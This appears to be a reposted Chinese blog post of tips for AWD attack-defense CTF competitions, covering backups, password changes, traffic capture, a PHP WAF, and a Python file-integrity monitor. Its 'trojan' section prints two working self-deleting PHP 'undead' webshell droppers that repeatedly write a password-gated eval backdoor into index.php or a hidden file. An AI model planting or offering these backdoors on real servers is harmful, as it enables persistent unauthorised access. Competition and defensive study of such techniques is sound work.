關於AWD線下攻防的經驗


備份:
    1.備份源碼,使用圖像化工具連接ssh后,我喜歡用winscp,
        找到根目錄后,直接右鍵后台下載就行。
 
        找根目錄這里,有時候比賽不給根目錄位置,上次去成信打,說找根目錄也是一個考點
        其實也好找,先打開網站首頁,誰的都行,因為大家的文件都一樣,
        然后查看源碼,找一下源碼中的php,jpg文件名。比如說有一個congrat.php
        然后我進入ssh里面,執行find / -name congrat.php
        就是在根目錄下搜索congrat.php這個文件,很快就搜到了
    
        備份后,馬上用d盾,webshellkill,360騷一波,發現預留后門,趕緊刪掉
        同時編寫腳本去其他機器上拿分
 
        源碼拿到后,可以現在本地搭一下,然后上掃描器,直接先黑盒測試一波
 
    2.備份數據庫,我沒有用過圖像化界面,就用命令吧
        先找到你用的是哪個數據庫,在你的源碼的config類或者database    的配置文件里找,很快就找到
 
        mysqldump –u root –p mydatabase > mydatabase_out.sql;(-uroot好像是連起來的,試一試)
 
        備份出root用戶所有的數據庫
        mysqldump -uroot -p --all-databases > sqlfile.sql
 
        曾經遇到一個備份有問題可以執行下面
        mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
 
        可以把用戶數據庫導出來后,再下載到你本地,然后導入使用圖形化界面看看
        有哪些表,有哪些字段,flag在哪個地方
        遇到sql注入漏洞時就會,很快利用
 
        恢復備份,在mysql終端下執行:
        命令格式:source FILE_PATH
         source ~/db.sql
        
        或者在shell下執行
        shell> mysqldump -h host -u root -p dbname < dbname_backup.sql
 
        # 重置mysql密碼
        # 方法1:用SET PASSWORD命令
        mysql> set password for 用戶名@localhost = password('新密碼');
        # 方法2:用mysqladmin
        mysqladmin -u用戶名 -p舊密碼 password 新密碼
 
修改密碼:
    修改ssh密碼,修改數據庫連接密碼,修改后台登陸密碼
    有寫些是不允許修改的,可能是check點
    
    修改ssh密碼, ssh登陸后執行passwd,根據提示操作
    修改mysql密碼見上面,
    修改后台登陸密碼,找到配置文件,也有可能是存在數據庫里,可以看一下登陸時的網絡請求
    如果操作到數據庫了,那么就是賬號密碼在數據庫里
    注意如果修改了數據庫密碼,后台鏈接數據庫的config的文件的密碼一定要改一樣,
 
部署監控:
    文件監控:
        有文件監控腳本,網上挺多的,但是好像都差不多,很有可能你和對手用的就是同一個腳本,同一個木馬
        個人覺得文件監控腳本挺好用的,
        只需要放在你的網站根目錄,或者上層目錄,然后python運行就可以
        文件監控腳本,挺多的,我喜歡用的那個腳本,minitor.py。放在最后了
        這個腳本可以監控文件是否被修改,
        如果被修改,記錄被修改后的文件,然后把修改前的還原。
 
    流量監控:
        流量監控非常重要,很多思路就是通過抓別人的流量,然后分析,得到別人打進來的入口點,哪怕是一個文件,
        可能就會點播到你。
        這個我還沒有研究
        一會再補
        tcpdump 
        有時候沒有這條命令,可以安裝
        yum install tcpdump
 
        監聽網卡
        tcpdump -i eth1
 
        監聽協議,端口
        tcpdump udp port 123
 
        非 : ! or “not” (去掉雙引號)
        且 : && or “and”
        或 : || or “or”
         這條命令就夠了
        sudo tcpdump -s 0 -w flow.pcap port 80
 
tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
1、tcp: ip icmp arp rarp 和 tcp、udp、icmp這些選項等都要放到第一個參數的位置,用來過濾數據報的類型
2、-i eth1 : 只抓經過接口eth1的包
3、-t : 不顯示時間戳
4、-s 0 : 抓取數據包時默認抓取長度為68字節。加上-S 0 后可以抓到完整的數據包
5、-c 100 : 只抓取100個數據包
6、dst port ! 22 : 不抓取目標端口是22的數據包
7、src net 192.168.1.0/24 : 數據包的源網絡地址為192.168.1.0/24
8、-w ./target.cap : 保存成cap文件,方便用wireshark分析
 
waf:
    有些比賽是不允許上通用waf的,
    網上很多waf腳本,
    使用方法
        就是用你要保護的文件去包含這個waf.php
    比如說,你要保護select.php
    那么你就在select.php里面寫上一行,
        include './waf.php'
        或者
        require_once('waf.php');
    如果你要保護所有文件,那么就在config這種配置文件里包含waf
    因為這種config的文件,一般會被大部分功能頁面調用
    
    網上還有一種思路,就是讓php文件不解析,這種需要修改apache的配置文件httpd.conf
    個人感覺不可取
<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>   
 
文件夾權限:
    一般ssh上對文件操作的權限都很小,
    需要留意upload這種目錄,一般這種目錄可以上傳,執行,
    修改這個文件夾的權限
    chmod 111 config.php
    rwx合起來就是4+2+1=7
    000
    
源碼對比:
    推薦工具DiffMerge
    比賽用的代碼肯定是基於網上某些源碼,進行修改,拿來用的
    如果我們找到它本來的源碼,可以直接去網上搜這種cms已經報出來的漏洞
    也可以用本來的源碼,和比賽用的源碼進行對比,找到都那個地方被修改了
    然后肯定就是漏洞點。
    還有就是看一下源碼中有沒有.git
    說不定就有git泄露,
 
文件對比:
    剛開始時我們down下一份源碼
    過一段時間發現我們被打了,很有可能是被種馬了
    這時我們再down一份源碼,進行代碼對比,就會發現我們那個地方被修改,被中馬
    
    這次打得,有人在我們站上寫了一個一句話,
    那么也可能會在別人機器上寫一句話,而且是很簡單的那種,
    然后我們就去嘗試利用別人種的去偷別人的flag
 
常見漏洞點:
    注入  loadfile(flag)
    重裝寫馬
    文件上傳
    有編輯器的話多數會利用編輯器漏洞
    文件包含
    文件讀取
 
木馬:
        不要使用一句話小馬,
        要用不死馬,密碼加密的馬,每台機器的密碼都不一樣的馬
 
        下面這個不死馬就是直接追加在index.php里,因為有時候沒有創建文件的權限,只能修改
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
//這里是追加到index.php中,
//也可以$file = './.index.php',沒有.index.php就自動創建,防止用建立同名文件夾的方式清除
$file = './index.php';
$code = '<?php if(md5($_POST["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code,FILE_APPEND);
    usleep(5000);
}
?>
 
這個是直接寫一個.index.php
加一個點是為了隱藏
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST[a]);} ?>';
 
 
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>
 
 
一些技巧:
    用chattr命令防止系統中某個關鍵文件被修改:
    chattr +i /etc/resolv.conf
    
    find -name "*.bak"
    
    用冰蠍連接木馬,不要用菜刀
    冰蠍的流量是aes加密的
 
    還有批量獲取flag,交flag,自己去搜一下吧,網上挺多的
 
 minitor.py
# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []


# 特殊文件路徑字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"?%02x"

# 文件路徑字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 獲取Unicode編碼
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目錄創建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise


# 獲取當前所有文件路徑
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                #排除權限不足的文件,一般flag,還有后綴.sh的動不了
                if "flag" not in originalfile and ".sh" not in originalfile:
                    filelist.append(originalfile)
    return filelist


# 計算機文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass


# 獲取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict


# 備份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])


if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 獲取所有文件路徑,並獲取所有文件的MD5,同時備份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 備份文件可能會產生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上傳文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + 'n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,還原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + 'n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM